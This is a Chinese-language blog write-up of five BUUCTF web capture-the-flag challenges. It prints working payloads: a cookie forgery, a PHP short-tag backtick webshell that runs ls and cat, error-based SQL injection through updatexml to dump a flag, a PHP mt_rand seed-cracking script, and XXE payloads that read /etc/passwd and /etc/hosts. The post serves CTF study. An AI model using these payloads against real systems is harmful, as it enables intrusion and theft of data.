BUUCTF-WEB(71-75)

Muneyoshi發表於2024-06-09

[watevrCTF-2019]Cookie Store

開啟購買flag那個cookie抓包,有個session值得注意

image-20240608104311223

我們拿去cyberchef解密一下

image-20240608104356341

然後我們試試改一下

{"money": 200, "history": []}
eyJtb25leSI6IDIwMCwgImhpc3RvcnkiOiBbXX0=

然後傳送

image-20240608105056630

響應包返回了一個session,我們解密一下就得到flag

image-20240608105050230

[紅明谷CTF 2021]write_shell

開啟就是原始碼,我們應該往裡面存入資料,也就是程式碼,到時候訪問就執行了,

image-20240608110152349

這裡我們先看一下路徑

?action=pwd

image-20240608110305841

sandbox/4247b8a5da98794f37ad36c75aaa5631/

然後就試著寫資料,這裡發現反引號沒有被過濾,而且我們可以利用<?= ?>這個php短標籤來寫php程式碼,然後空格被過濾了,我們可以%09繞過一下

image-20240608120848299

所以payload:

?action=upload&data=<?=`ls%09/`?>

然後訪問之前得到的路徑

image-20240608120959333

然後檢視flag

?action=upload&data=<?=`cat%09/f*`?>

image-20240608121106382

[RCTF2015]EasySQL

參考:

upfine的部落格 (cnblogs.com)

[RCTF2015]EasySQL_[rctf2015]easysql 1-CSDN部落格

先註冊,登入進來,發現一個改密碼的

image-20240608133205187

在這裡修改密碼也沒有任何回顯

image-20240608133743586

之後我創了一個使用者名稱為1"的使用者,再去隨便改個密碼,然後發現報錯

image-20240608133924664

然後接下來就是開始報錯注入,空格被過濾了,還有/**/因為頁面沒有什麼回顯,爆庫

1"||(updatexml(1,concat(0x7e,database(),0x7e),1))#

image-20240608135515946

爆表

1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1))#

image-20240608135839191

爆欄位(flag是在users這個表中哦)

1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')&&(table_name='users')),0x7e),1))#

image-20240608140225763

匯出資料,這裡由於updatexml只顯示32位,所以並沒有顯示有用的資料

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

image-20240608140909948

然後我想嘗試一下substr,mid,right,發現並不行,被過濾了,使用limit會報錯,然後看大佬都說正則MySQL 正規表示式(REGEXP)_mysql regexp-CSDN部落格,去找到flag所在位置,很牛逼,第一次學到,但是還只是一半

1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

image-20240608142958492

flag{47ee3230-eaea-4a2a-a4b9-d3

然後又學到了這個,還需要使用reverse函式,逆序輸出flag,輸出後逆轉一下

1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

image-20240608143537005

}dc845c0dc33d-9b4a-a2a4-aeae-03

最後拼接完整的flag

flag{47ee3230-eaea-4a2a-a4b9-d33cd0c548cd}

[GWCTF 2019]枯燥的抽獎

參考:

[BUUCTF題解][GWCTF 2019]枯燥的抽獎 - Article_kelp - 部落格園 (cnblogs.com)

[GWCTF 2019]枯燥的抽獎-CSDN部落格

PHP mt_rand安全雜談及應用場景詳解 - FreeBuf網路安全行業門戶

開啟題目說讓我猜後面的字串

image-20240609150300804

然後F12發現了檔案check.php

image-20240609150329124

然後就看到原始碼了

image-20240609150354693

然後瞭解到這個隨機生成的並不是真的隨機,是可以根據某些計算算出來的,這個函式是透過一個種子然後去產生一個隨機數,我們只需要知道種子就可以破解這個偽隨機數

PHP的mt_rand函式作為一個隨機數生成工具在程式中被廣泛使用,但是大家都忽略了一個事實,mt_rand生成的隨機數不是一個真正的隨機數,而是一個偽隨機數,不能應用於生成安全令牌、核心加解密key等等,所以很多知名程式都出現過對mt_rand函式的錯誤使用而導致的安全問題。php_mt_seed是一個破解mt_rand函式種子的工具,對它應用場景的深刻理解和應用能極大的提升漏洞發現的可能和利用的成功率。本文將詳細介紹PHP mt_rand函式的安全問題及php_mt_seed應用場景。

我們後面會用到php_my_seed這個工具,我們先把已知的部分轉成這個工具可以識別的格式

str1 ='EJOa9oEmi5'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break


print(result)
40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61 

然後下載這個php_my_seed工具,記得是在linux環境下執行的,記得先編譯

make time ./php_mt_seed.c 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

然後我這邊沒執行起來,我自己編譯完又執行了一次

/php_mt_seed 40 40 0 61 45 45 0 61 50 50 0 61 0 0 0 61 35 35 0 61 14 14 0 61 40 40 0 61 12 12 0 61 8 8 0 61 31 31 0 61

image-20240609151654987

得到種子67026161

拿到種子,去生成完整的這個字串

<?php
mt_srand(67026161);    //在這裡填入獲得的種子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo($str);
EJOa9oEmi5LpHzqXCixt

然後填入那個猜測的框中

image-20240609152149124

[NCTF2019]True XML cookbook

參考:[NCTF2019]True XML cookbook-CSDN部落格

開啟原始碼,發現似曾相識,直接xml注入

image-20240609152322921

那我們抓包xml注入

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152638368

檢視flag(失敗版本)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///flag">
]>
<user><username>&entityex;</username><password>111</password></user>

image-20240609152956921

看來是沒有這個/flag檔案,還有一個知識xxe可以內網探測存活的主機,獲取/etc/hosts檔案,我們分別讀取關鍵檔案:/etc/hosts 和 /proc/net/arp:

file:///etc/hosts

image-20240609153221391

然後發現了兩個ip

file:///proc/net/arp:

image-20240609153250685

然後嘗試訪問了一下,不行,然後C段掃描一下

我這裡用指令碼還是burp的爆破,都沒有出來